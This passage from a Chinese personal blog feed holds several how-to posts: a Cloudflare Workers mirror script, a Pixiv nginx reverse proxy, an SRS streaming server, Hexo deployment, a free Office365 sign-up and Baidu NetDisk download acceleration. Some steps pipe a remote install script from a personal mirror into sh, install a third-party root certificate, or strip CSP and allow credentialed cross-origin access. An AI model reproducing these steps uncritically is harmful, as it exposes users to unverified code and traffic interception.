if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

然后点击运行,就可以反代你需要的网站啦,但是注意,有些网站是无法进行反代的,例如twitter之类的,而且如果原来的网站具有登陆功能,那么这些登陆功能是无法使用的!!!

加密版(来自评论区@Hostloc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
// 替换成你想镜像的站点
const upstream = 'google.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'm.google.com'

// 密码访问

const openAuth = false
const username = 'username'
const password = 'password'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

function unauthorized() {
return new Response('Unauthorized', {
headers: {
'WWW-Authenticate': 'Basic realm="goindex"',
'Access-Control-Allow-Origin': '*'
},
status: 401
});
}

function parseBasicAuth(auth) {
try {
return atob(auth.split(' ').pop()).split(':');
} catch (e) {
return [];
}
}

function doBasicAuth(request) {
const auth = request.headers.get('Authorization');

if (!auth || !/^Basic [A-Za-z0-9._~+/-]+=*$/i.test(auth)) {
return false;
}

const [user, pass] = parseBasicAuth(auth);
return user === username && pass === password;
}


async function fetchAndApply(request) {
if (request.method === 'OPTIONS') // allow preflight request
return new Response('', {
status: 200,
headers: {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Methods': 'GET, POST, PUT, HEAD, OPTIONS'
}
});

if (openAuth && !doBasicAuth(request)) {
return unauthorized();
}
const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request).catch(err => {
console.error(err);
new Response(JSON.stringify(err.stack), {
status: 500,
headers: {
'Content-Type': 'application/json'
}
});
}));
})


async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

下篇:Cloudflare Workers绑定自定义域名进行访问

这就是JSPROXY的反代啦,祝各位成功呀!
题外话:

下周要考试了,我好方,怎么办

我已经用此方法部署了Google镜像站、Google学术镜像站、wiki镜像站,可以在我的友链界面找到哦~

]]>
+ + + + + Software + + + + + + + Software + + Cloudflare + + JSProxy + + + +
+ + + + + PIXIV网页版及客户端访问恢复指南(Linux版) + + /posts/Pixiv-Nginx/ + +

Windows版点这里,本文只介绍linux

国庆快乐鸭~

本周在想,既然Mashirozx的Nginx反代上P站的方案能在Windows上用,那Linux上肯定也是可以的,而且如果是一台linux服务器搭建好了,只需要把host指向到linux服务器上,就可以直接上P站,不用再开Mashirozx的Windows反代工具包了

废话不多说,直接上教程(封面图是从樱花庄的白猫引用过来的)

安装Nginx

在这里,我们安装Nginx(既然都是Nginx的反代了,不装怎么可以呢),Ubuntu上使用

1
$ apt-get install nginx

就可以安装了,安装完后输入

1
$ nginx -t

如果提示

1
2
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

就证明你安装成功了,当然,你也可以试着访问一下nginx的默认网站

访问localhost即可~!

克隆工具包

1
$ git clone git@github.com:mashirozx/Pixiv-Nginx.git

使用上面这个命令来克隆@Mashirozx/Pixiv-Nginx的反代工具包,然后打开文件夹中的“配置文件(非Windows用户使用)”文件夹

安装反代配置

进入~/etc/nginx/这个位置,把上面打开的那个文件夹的东西全部都丢进去(此处需要root权限),提示覆盖就覆盖即可!

移动文件到~/etc/nginx/

然后在~/etc/nginx目录下打开终端,输入以下命令

1
2
$ cd ca
$ cp pixiv.net.crt /usr/local/share/ca-certificates/pixiv.net.crt

将证书复制到根证书安装目录下,然后使用该命令

1
$ update-ca-certificates

更新证书,这样子你的根证书就成功安装了!

重载Nginx

使用命令

1
$ nginx -t reload

重启nginx,然后新配置就会应用到nginx中,这样,反向代理就建好了

修改host

接下来,你需要修改ubuntu的host

在~/etc/目录中找到host文件host文件没有后缀名,然后打开它,在里面加入以下内容(摘自PIXIV网页版及客户端访问恢复指南

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#www.google.com域名仅用于登陆验证
#如果你不需要这个功能,请把下一行删掉
127.0.0.1 www.google.com

#Pixiv Start
127.0.0.1 pixiv.net
127.0.0.1 www.pixiv.net
127.0.0.1 ssl.pixiv.net
127.0.0.1 accounts.pixiv.net
127.0.0.1 touch.pixiv.net
127.0.0.1 oauth.secure.pixiv.net
127.0.0.1 dic.pixiv.net
127.0.0.1 en-dic.pixiv.net
127.0.0.1 sketch.pixiv.net
127.0.0.1 payment.pixiv.net
127.0.0.1 factory.pixiv.net
127.0.0.1 comic.pixiv.net
127.0.0.1 novel.pixiv.net
127.0.0.1 imgaz.pixiv.net
127.0.0.1 sensei.pixiv.net
127.0.0.1 fanbox.pixiv.net
127.0.0.1 i.pximg.net
127.0.0.1 source.pixiv.net
127.0.0.1 i1.pixiv.net
127.0.0.1 i2.pixiv.net
127.0.0.1 i3.pixiv.net
127.0.0.1 i4.pixiv.net
210.129.120.50 app-api.pixiv.net
74.120.148.207 g-client-proxy.pixiv.net
210.140.131.159 d.pixiv.org
210.140.92.135 pixiv.pximg.net
210.140.92.134 s.pximg.net
#Pixiv End

# 顺手修一下维基百科
# Wikipedia Start
127.0.0.1 en.wikipedia.org
127.0.0.1 zh.wikipedia.org #中文维基百科桌面版
127.0.0.1 en.m.wikipedia.org
127.0.0.1 zh.m.wikipedia.org
127.0.0.1 zh-yue.wikipedia.org #粤文维基百科桌面版
127.0.0.1 wuu.wikipedia.org #吴语维基百科桌面版
127.0.0.1 ug.wikipedia.org #维吾尔文维基百科桌面版
127.0.0.1 ja.wikipedia.org #日文维基百科桌面版
127.0.0.1 zh.wikinews.org #中文维基新闻桌面版
# Wikipedia End

# 顺手修一下Steam
# Steam
127.0.0.1 store.steampowered.com
127.0.0.1 steamcommunity.com
# Steam end

接下来有两种方式让host生效

重启电脑

这个不多说了,右上角电源键走起

重启服务

使用一下命令来重启networking服务(请用root用户运行)

1
2
3
$ cd ~
$ cd etc/init.d
$ ./networking restart

这样就可以立即加载HOST文件,打开你的浏览器,打开P站就可以愉快地浏览图片啦~

小技巧

当你在你的linux服务器上安装了反代服务后,你可以在你的windows计算机上利用host指向到你的linux服务器来达到上P站的目的(当然,你需要安装Mashirozx提供的ca证书)

在host文件中输入以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#www.google.com域名仅用于登陆验证
#如果你不需要这个功能,请把下一行删掉
172.52.5.100 www.google.com

#Pixiv Start
172.52.5.100 pixiv.net
172.52.5.100 www.pixiv.net
172.52.5.100 ssl.pixiv.net
172.52.5.100 accounts.pixiv.net
172.52.5.100 touch.pixiv.net
172.52.5.100 oauth.secure.pixiv.net
172.52.5.100 dic.pixiv.net
172.52.5.100 en-dic.pixiv.net
172.52.5.100 sketch.pixiv.net
172.52.5.100 payment.pixiv.net
172.52.5.100 factory.pixiv.net
172.52.5.100 comic.pixiv.net
172.52.5.100 novel.pixiv.net
172.52.5.100 imgaz.pixiv.net
172.52.5.100 sensei.pixiv.net
172.52.5.100 fanbox.pixiv.net
172.52.5.100 i.pximg.net
172.52.5.100 source.pixiv.net
172.52.5.100 i1.pixiv.net
172.52.5.100 i2.pixiv.net
172.52.5.100 i3.pixiv.net
172.52.5.100 i4.pixiv.net
210.129.120.50 app-api.pixiv.net
74.120.148.207 g-client-proxy.pixiv.net
210.140.131.159 d.pixiv.org
210.140.92.135 pixiv.pximg.net
210.140.92.134 s.pximg.net
#Pixiv End

# 顺手修一下维基百科
# Wikipedia Start
172.52.5.100 en.wikipedia.org
172.52.5.100 zh.wikipedia.org #中文维基百科桌面版
172.52.5.100 en.m.wikipedia.org
172.52.5.100 zh.m.wikipedia.org
172.52.5.100 zh-yue.wikipedia.org #粤文维基百科桌面版
172.52.5.100 wuu.wikipedia.org #吴语维基百科桌面版
172.52.5.100 ug.wikipedia.org #维吾尔文维基百科桌面版
172.52.5.100 ja.wikipedia.org #日文维基百科桌面版
172.52.5.100 zh.wikinews.org #中文维基新闻桌面版
# Wikipedia End

# 顺手修一下Steam
# Steam
172.52.5.100 store.steampowered.com
172.52.5.100 steamcommunity.com
# Steam end

其中的ip地址172.52.5.100请更换为你的linux服务器地址!!!

当你确认已经安装完了证书,linux服务器的nginx服务运行正常后,你就可以打开pixiv愉快地浏览图片了!

题外话

上个月没有写3篇文章,我的问题(给自己的定位是3篇/mo)

国庆我没有咕咕咕,是不是应该夸奖我~

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + + 手把手教你怎么搭建属于自己的直播服务器~ + + /posts/srs/ + +

前两个月学校的旧外包跑路了(其实是合约到期了),他们的直播系统就被学校废弃了,那么问题就来了:学校要直播呀!!!没有直播系统怎么办啊!!!

所以这次就来手把手(按照我搭建的经验)来教你怎么搭建属于自个的直播系统~

PS:可以打开侧边栏看,方便找到需要的内容

准备材料

*表示非必需

1、一台linux电脑(windows上没试过,感兴趣的同志们可以试试)

*2、一台网页服务器(可以用上面的linux电脑,或者个人电脑)

搭建环境

GoLang环境

使用命令进入root用户

1
$ su
一键安装方式
1
2
3
$ git clone https://github.com/letseeqiji/oneinstall.git
$ cd oneinstall/golang
$ bash goinstall.sh

直接运行脚本进行安装

Ubantu/Debian用户

你可以使用

1
$ sudo apt-get install golang

直接安装Go环境,然后设置GOPATH即可

1
$ vi /etc/profile

打开文件后,对文件修改,在文件最下面添加

export GOPATH=/goWorkPlace

然后按Esc,保存文件

最后,刷新文件,使更改生效。输入命令

1
$ source /etc/profile
二进制码安装方式

64位

1
$ wget https://storage.googleapis.com/golang/go1.4.1.linux-amd64.tar.gz

32位

1
$ wget https://storage.googleapis.com/golang/go1.4.1.linux-386.tar.gz

在/usr/local下安装:

1
$ sudo tar -xzf <filename> -C /usr/local

配置环境变量:有三个变量GOPATH、PATH、GOROOT

GOROOT就是go的安装路径

GOPATH就是go的工作目录

PATH是go安装路径下的bin目录

1
$ vi /etc/profile

打开文件后,对文件修改,在文件最下面添加

export GOPATH=/goWorkPlace

export GOROOT=/usr/local/go

export PATH=$PATH:$GOROOT/bin

保存文件,刷新,使更改生效

1
$ source /etc/profile

srs设置

使用git克隆代码

1
2
$ git clone git@github.com:ossrs/srs.git
$ cd srs

进入srs目录,对目录中的文件进行修改。

打开./trunk/conf/srs.conf文件,对其进行修改

其中有几个参数需要修改:

1
2
3
4
listen1935; #直播推流的端口
max_connections 1000; #最大线程数
srs_log_tankconsole;#srs日志输出位置,可以为console或file
srs_log_file ./objs/srs.log;#srs日志输出文件,当上面为file时必须设置

上面的参数根据自己的需要进行修改,其中max_connections推荐设置为100,否则编译有可能会出错

在root用户中,进入./trunk,使用命令

1
$ ./configure && make

对srs进行编译,编译过程稍长,请耐心等待

当编译完成后,可以使用

1
$ ./objs/srs -c conf/srs.conf

打开srs服务器,打开客户机上的OBS Studio(vMix也可以),推流地址填写如下

rtmp://<你的srs服务器ip>:1935/home

推流密钥填写如下

/live

也可以把live换成任意的文字或路径

此时可以使用VLC Media Player来检测是否推流成功,打开VLC Media Player,选择“媒体”->“打开网络串流”,在URL里面填写你的rtmp地址(包括密钥)例如我的OBS配置如下

OBS-Config

那么我就应该填写rtmp://172.52.5.100:1935/home/live

点击确定,可以看到我推流出来的内容

VLC

这样就证明我推流成功了!

网页前端设置

我们毕竟是个直播,总不可能每个班级都安装一个VLC Media Player的嘛,所以说,我们要用网页来拉流。

用网页来拉流,就要用到HLS了(具体百度哦~),但是我们要怎么打开HLS呢?

你需要在你的srs.conf中的

1
2
vhost __defaultVhost__ {
}

中加入以下内容(可以直接复制粘贴)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vhost __defaultVhost__ {
# http-flv设置
http_remux{
enabled on;
mount [vhost]/[app]/[stream].flv;
hstrs on;
}

# hls设置
hls{
enabled on;
hls_path ./objs/nginx/html;
hls_fragment 10;
hls_window 60;
}
}

然后重新打开srs即可

那么下面的链接应该都可以使用(按照我的填写方法为例)

链接类型链接
rtmprtmp://172.52.5.100:1935/live/home
http/flvhttp://172.52.5.100:8080/live/home.flv
http/m3u8http://172.52.5.100:8080/live/home.m3u8

可以利用我们的网页示例,进行调试(请不要使用本地打开文件的方式进行调试,会被拦截)

1
$ git clone git@github.com:5amstd/live-system.git

将里面的146行的视频地址更改为自己的视频地址即可

1
video:'http://172.52.5.100:8080/home/live.flv' //视频地址

然后保存刷新,打开里面的视频播放器(都9102年了还用Flash???),就可以看到直播画面了

Website

如果你看到了直播画面,就证明你成功了~

题外话

第一次用Ubantu来搭建项目,感觉Ubantu挺好用的,所以现在两台电脑吧,把我之前的那台DELL OptiPlex 3046拿来装Ubantu了

srs搞了我很长时间,其实最主要的问题是Ubantu(Linux)用的不很熟悉,然后权限问题也很烦

HLS的分发挺麻烦的,查看了很多官方文档,后来在别人的文章里面找到了解决方法

最近喜欢打方舟,有舟游玩家嘛,加波好友啊:喵呜初音#0717(B服玩家哦~)

]]>
+ + + + + Tech + + + + + + + Tech + + live + + stream + + + +
+ + + + + 最全面的Hexo部署方法,交给你了~ + + /posts/hexo-deploy-guide/ + +

温馨提示:推荐点击左下角箭头打开目录,方便你更好地找到内容!

开始

什么是Hexo?

(我不多BB了,去看官网吧,介绍什么的真的不适合我……)

如何安装?

准备工作

你需要的东西有:

一个带有Page服务的仓库(推荐Github,Coding)

一台电脑(Windows或Linux均可,差别不大)

最后就是耐心(这个过程可能会很枯燥的说~)

前期准备
安装Node.js

安装 Node.js 的最佳方式是使用 nvm。nvm 的开发者提供了一个自动安装 nvm 的简单脚本:

Curl:
$ curl -o- https://cdn.bili33.top/nvm-sh/nvm/v0.34.0/install.sh | sh
wget:
$ wget -qO- https://cdn.bili33.top/nvm-sh/nvm/v0.34.0/install.sh | sh
安装完成后,重启终端并执行下列命令即可安装 Node.js。
$ nvm install stable
Windows 用户

对于windows用户来说,建议使用安装程序进行安装。安装时,请勾选Add to PATH选项。
另外,您也可以使用Git Bash,这是git for windows自带的一组程序,提供了Linux风格的shell,在该环境下,您可以直接用上面提到的命令来安装Node.js。打开它的方法很简单,在任意位置单击右键,选择“Git Bash Here”即可。由于Hexo的很多操作都涉及到命令行,您可以考虑始终使用Git Bash来进行操作。

Linux 用户

大部分 Linux 发行版都会在它们的默认软件包仓库中分发 Node.js。第三方仓库 NodeSource 通常能分发最新版本的 Node.js。

可选操作:

由于众所周知的原因,使用npm进行安装速度十分缓慢。也可以参考这个页面,利用国内镜像安装npm模块。

安装Git

Windows:下载并安装 git.
Mac:使用 Homebrew, MacPorts :brew install git;或下载 安装程序 安装。
Linux (Ubuntu, Debian):sudo apt-get install git-core
Linux (Fedora, Red Hat, CentOS):sudo yum install git-core

Windows 用户

由于众所周知的原因,从上面的链接下载git for windows最好挂上一个代理,否则下载速度十分缓慢。也可以参考这个页面,收录了存储于百度云的下载地址。

安装Hexo

当你确定你已经安装完了Node.js和Git,就可以使用npm安装hexo了,使用

1
$ npm install -g hexo-cli

或(安装了cnpm国内镜像的情况下,下面所有的npm命令均可换为cnpm命令,下面不再说明

1
$ cnpm install -g hexo-cli
初始化Hexo文件夹

在你认为合适的地方新建一个文件夹,文件夹名字自拟,然后使用

1
$ hexo init

来初始化你的文件夹(文件夹必须是空的),并且使用

1
$ npm install

来安装相关的依赖库!

初始化库和安装依赖

配置网站

当你安装完所有的依赖以后,你就可以配置你的网站。

你也可以使用

1
$ hexo s

来进行本地调试,在浏览器中输入localhost:4000进入自己的网站。

关于hexo目录下的_config.yml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Site
title: <title>#自己的网页名字,将在标签页标题中显示为<title> - <subtitle>
subtitle: <subtitle> #副标题,在标签页标题显示
description: <descr> #网页描述(讲真我不知道有啥用)
keywords: <keywords> #网页搜索关键词
author: <author> #网页作者
language: en #网页语言,若主题支持中文可以不用改
timezone: #时区,可以不改

# URL
## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/'
url: http://yoursite.com#网页网址,一般填写主页的地址,例如我的网页就填http://bili33.top
root: /#网站根目录,可以不改
permalink: :year/:month/:day/:title/#网页永久链接格式,可以自己修改
permalink_defaults:

关于主题:

主题可以去https://hexo.io/themes/找,也可以在github逛一逛,说不定就找到好主题了呢?

1
2
3
4
# Extensions
## Plugins: https://hexo.io/plugins/
## Themes: https://hexo.io/themes/
theme: landscape# 主题名字,landscape是默认主题,改成你的主题文件夹的名字即可!

在clone的时候建议用git clone .address> theme/.theme name> 这样方便管理~

关于主题的配置,详情请见各主题说明文档!

部署网站

在准备东西的时候,我们准备了一个github(或coding)账号,下面以github为例子

在Github中新建一个仓库,仓库名自拟,也可以采用官方格式.username>.github.io,一定要设为公开仓库(有Github Pro的当我没说)

然后回到你的hexo文件夹,打开命令窗口,输入

1
$ npm install hexo-deployer-git --save

来安装git的部署器,其他部署器请看这里

打开_config.yml,拉到最底下,会发现有个Deployment,你可以按照我下面这么填写

1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
type: git
repo: <repo address> # 请替换为你的仓库地址!
branch: master

填写完成后,保存即可,然后打开命令窗口,使用

1
2
3
$ hexo clean #不是必要的
$ hexo generate
$ hexo deploy

来部署你的网站,其中generate可以简写为g,deploy可以简写为d,如果觉得打两行命令太麻烦,可以使用

1
$ hexo d -g

一条命令来直接部署,省去不必要的麻烦。

你也可以同时部署多个仓库,例如

1
2
3
4
5
6
# Deployment
## Docs: https://hexo.io/docs/deployment.html
deploy:
type: git
repo: <repo1 address>,master # 请替换为你的仓库地址!
repo: <repo2 address>,master # 请替换为你的仓库地址!

这样编写的话一次部署,两边的仓库都会上传~

部署完成后,请到你的Github仓库的设置中,找到Github Pages,将source选到master branch来打开Pages服务!

撰写文章

你可以使用

1
$ hexo new "<article name>"

来创建一篇文章,它会出现在source/_posts中,是一个.md文件,使用md编辑器打开(推荐Typora)编辑即可,支持markdownhtml语法

小技巧

添加自定义域名

每次部署hexo都会清除你的库并且重新部署,这意味着如果你在Github的设置中添加自定义域名(会生成CNAME文件)每次都会被清除,为了避免这种麻烦,我们可以使用在source文件夹里新建CNAME文件

CNAME文件

并且在CNAME文件中填写你的域名

CNAME

这样就可以避免每次部署都清除掉自定义域名,导致网站404了~

自定义404页面

你可以在/themes/.themes name>/source中放置你的404页面,当你的网站页面不存在的时候,就会显示404页面,可以引用css文件和js文件,只要跟404页面放在同一目录即可!

404

如何直接看到404呢?你可以直接在网站后面加上/404就可以进入404页面了~

添加看板娘(live2d)

你是否也想像我一样领养一只猫呢?或者领养一只~

回归正题,我们要怎么领养一只萌萌哒看板娘呢?当然还是要用到插件的说~

先安装插件hexo-helper-live2d

1
$ npm install hexo-helper-live2d --save

等待安装完后,在你的网站根目录的_config.yml中加入(可以直接复制粘贴)

1
2
3
4
5
6
7
8
9
10
11
12
#hexo-helper-live2d
live2d:
enable: true#是否开启显示
pluginModelPath: assets/
model:
use: live2d-widget-model-tororo #模板目录,在node_modules里
display:
position: right
width: 150
height: 300
mobile:
show: false #是否在手机进行显示

然后,找到你喜欢的模型进行安装,并把model的use属性的文本改成你安装的看板娘的文件夹名字(在node_modules里面)即可!

这样你就可以像我一样领养一只萌萌哒看板娘了~

搜索引擎站点认证

当你提交站点到搜索引擎的时候,免不了的就是认证你的站点。当然,认证方式有很多种,例如什么把标记放在.head>./head>之间啦,什么文件认证啊之类的,太多了

当然最方便的就是文件认证了,下载一个文件到本地,然后传到你的网站上面。

有的人就会问了,文件要放在哪里呢?

其实有两个地方都可以放,一个是根目录的source文件夹,另一个就是主题里面的source文件夹,都可以放,放在这两个文件夹的根目录即可!

添加站点地图

当你想让你的网站被Google或者Baidu什么的收录的时候,你就需要用到站点地图。

使用以下命令安装站点地图插件

1
2
$ npm install hexo-generator-baidu-sitemap --save #安装Baidu的站点地图,为Baidu优化过的
$ npm install hexo-generator-sitemap --save

然后打开网站根目录的_config.yml文件,加入以下条目:

1
2
3
4
5
6
7
8
Plugins:
- hexo-generator-baidu-sitemap
- hexo-generator-sitemap

baidusitemap:
path: baidusitemap.xml
sitemap:
path: sitemap.xml

这样每次部署就会生成一个baidusitemap.xml和一个sitemap.xml文件,用于提交站点地图

这里以google为例子描述怎么添加站点地图

当你的网站提交到Google后,为了点击量高,我们会提交站点地图,在左边的栏目中选择站点地图,然后在上面”添加新的站点地图”中填写.Your Link>/sitemap.xml即可,Google会定期收集你的站点,并且展示在搜索结果上

Google Webmaster

Google Search Result

添加RSS订阅

虽然我不知道这年头谁还用RSS,但是有好过没有嘛

先打开命令窗口,然后输入命令安装插件

1
$ npm install hexo-generator-feed --save

安装完成后,在网站的根目录中的_config.yml中,加入以下内容

1
2
3
4
5
6
7
8
#RSS订阅
plugin:
- hexo-generator-feed
#Feed Atom
feed:
type: atom
path: atom.xml#RSS文件名字,可自定义
limit: 20

当你加入RSS订阅按钮的时候,就可以设置链接到你的/atom.xml文件(RSS文件名字改过的当我没说),这样当别人点击你的RSS按钮时,就会弹出订阅提醒,让别人订阅你的网站。

按钮调用邮件应用

如果你想让别人联系你,那么最方便的方式就是通过电子邮件了。如何才能让别人点击链接或者按钮直接调用邮件应用发邮件给你呢?实例

在文章中,可以使用这样的编写格式

1
[<Text>](mailto:<Email Address>)

这样当别人点击.Text>的时候,就会调用电子邮件应用,同样如果是按钮的话,只需要将按钮的链接设为

1
mailto:<Email Address>

即可调用电子邮件程序!

结尾

Hexo的教程我就写了这么多,可能有些没写到的或者我没想到的,有可能在将来会偶尔更新一下这篇文章,当然,如果你有什么问题,欢迎发邮件到admin@bili33.top来与我探讨,我非常欢迎!如果你想与我交换友链,请到友情链接网页的评论区留言,我有时间会看评论的.商业网站勿扰哦~

]]>
+ + + + + Software + + + + + + + Software + + Github + + Hexo + + Github Pages + + + +
+ + + + + 白嫖Office365?这种好事我当然要来! + + /posts/Office365/ + +

相信很多人都在用Office,用的要么是WPS Office,要么就是Microsoft Office。正版的Office365价格贵得要死↓

家用Office价格(非商业用途)

所以今天,我就来教教怎么获取免费的Office365(而且还是管理员哦~)

准备工作

你需要准备:一个微软账户(个人用户,即非企业用户)

获取Office365账号

网址我贴在这里啦:https://developer.microsoft.com

进入以后发现里面有四个按钮

微软开发者中心

稍微解释一下,第一个和最后一个想必不用说了吧,都是熟悉的东西;第二个是微软的云服务平台Azure,第三个是微软的开发者软件Visual Studio(我还是喜欢VSCode),在这里我们点击Office,其他有需要的自己斟酌哈~

Office开发者页面

会看英文的小伙伴们就知道点哪个,不会看的我告诉你是先点右上角sign in

登录自己的账号后,点上面的Developer Program,进入开发者计划页面,点击中间那个最大的按钮写着JOIN NOW的~

Office开发者页面 - 加入开发者计划

点进去后会看见一个全英的界面,在第一个选择框里选择”China”(当然你要选其他国家我也没意见),第二个的Company填写你自己想要的名字,因为微软给的管理员账号是<username>@<domain>.onmicrosoft.com(自定义域名除外),所以你设定的名字需要尽量跟后面设置的一致。

设定好后,把下面两个勾给勾上,点击NEXT

配置界面

然后微软就会问你一堆问题

像下面这样:

看得懂英语的自己选择,但是在Products里面最好全部勾上,这样你就能使用所有的功能。如果看不懂英语,那么第一个问题和第二个问题请选择Personal Projects(第四个选项),第三个Products和第四个Technologies全部勾上,最后一个问题随便选择一个即可(如果你不是真的要开发的话),全部选择完以后点击下方的JOIN即可!

然后你就会像我一样被导到这个界面,说明你已经成功注册了!

点击下方的SET UP SUBSCRIPTION会弹出来一个小窗,第一个不用说,之前选什么现在就选什么,第二个create username是设置邮箱前缀,create domain就是上面提到的在邮箱后缀的第一位的东西,自己喜欢,但是尽量跟前面一致!下面两个框都是让你输入密码,输入完以后点下面的Continue即可!

启用office订阅

然后就会弹出提示,要你输入手机号码

输入手机号码

输入完了点击下面的send code,就会有短信发到你的手机,后面我不用说都可以解决了吧~

2020/4/27更新

保命需要,教程在这

题外话:

这个Office365需要用户足够活跃,每次的订阅周期为92天,过了92天就会检测用户是否足够活跃,如果不活跃则会被删除所有数据(当然你再注册也是可以的),所以比较推荐多人用一个组织。

1、你的姓名(可以是假名,我不在意)
2、显示名称(类似你在登录win10前的用户名)
3、邮箱前缀(就是@前面的那一串)
4、接收账号密码邮件的邮箱(如果没收到请检查垃圾箱!)
当我为你创建账户后,我会通过邮件通知你,也会把账号密码发到你的邮箱!
说明:我使用的也是这种office(92天订阅期),所以为了避免office删除组织后文件丢失,请不要把贵重文件放在onedrive中,丢失概不负责!
(表示微软并没有给我续费。。。)

如果不能确保自己能够被微软认定为开发者,那么我推荐你到http://233455.xyz:3000/(好像已经失效了?)去领取一个临时邮箱注册edu版(注:此edu注册的账户仅提供5T的onedrive空间,若需要office授权,请在该网页下面的使用规则查看)
祝大家白嫖成功~~~

]]>
+ + + + + Software + + + + + + + Software + + Office365 + + + +
+ + + + + 被限速的日子,该过去了! + + /posts/BaiduNetDisk-Limit-Break/ + +

本教程可能已经过时

鉴于Pandownload网页端经常服务器维护,本页面教程可能已经过时!

辣鸡百度云,又限我速!

百度云限速(真实)

百度云天天限速,8M/s的网速硬生生被拖到8kb/s,太真实了,这限速估计也烦了不少人,但是用speedpan之类的软件可能就有封号风险,所谓的封号不是封禁账号,是直接断你的线程断剩下一个,这样就可以拖慢你的网速。

那么我们要怎么样不被封号的同时又能告诉下载呢?(鉴于好多小伙伴看不懂我的在线版本教程,所以我在2019/8/13修改了教程,只剩下普通版)

第一步、部署本地aria2

下载Aria2c All In One工具包,然后打开里面的start.bat文件,会弹出一个cmd窗口,防火墙提示请允许!你也可以打开start-vanish.vbs文件,这样就不会弹出cmd窗口,若要关闭Aria2c,直接双击stop.bat即可!

1、开启aria2

直接点开文件里面的start.bat文件就可以打开aria2,但是这样做就会生成一个窗口,有些人就认为它不美观,不想要它,那就可以打开文件里面的start-vanish.vbs,就可以做到既没有窗口又可以打开aria2

2、配置aria2

①、第二十七行
1
2
# 单个任务最大线程数, 添加时可指定, 默认:5
split=5

split后面的数字随便改,只要你认为你的电脑能吃那么多的线程。

②、第六十一行
1
2
# 设置的RPC授权令牌, v1.18.4新增功能, 取代 --rpc-user 和 --rpc-passwd 选项
#rpc-secret=secret

这是你的aria2密钥,不过如果你是本地用或者局域网内用就不建议设置密钥,rpc-secret前面的#去掉,然后把后面的secret改成你自己的密钥即可!

第二步(可选):部署ariaNg

下载AriaNg文件,并解压到自定义目录

打开里面的index.html文件,进入AriaNg设置

填写以下内容:

Aria2c RPC 别名:【自己填写】

